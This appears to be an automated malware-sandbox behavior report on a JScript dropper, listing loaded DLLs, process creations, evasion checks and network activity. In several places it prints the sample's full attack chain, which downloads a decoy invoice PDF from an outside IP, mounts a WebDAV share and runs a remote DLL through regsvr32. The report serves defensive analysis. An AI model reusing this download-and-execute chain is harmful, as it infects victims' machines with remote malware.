Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9129.js.csv");ITextStream.WriteLine(" entry:8403 f:xdiwfof");ITextStream.WriteLine(" exec:2 f:xdiwfof");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4147			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5709			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508	Thread sleep count: 4147 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508	Thread sleep count: 5709 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3140	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7268	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1786412225.000001D6C05A9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3022742473.0000028DFD256000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3021334562.0000028DF7C24000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
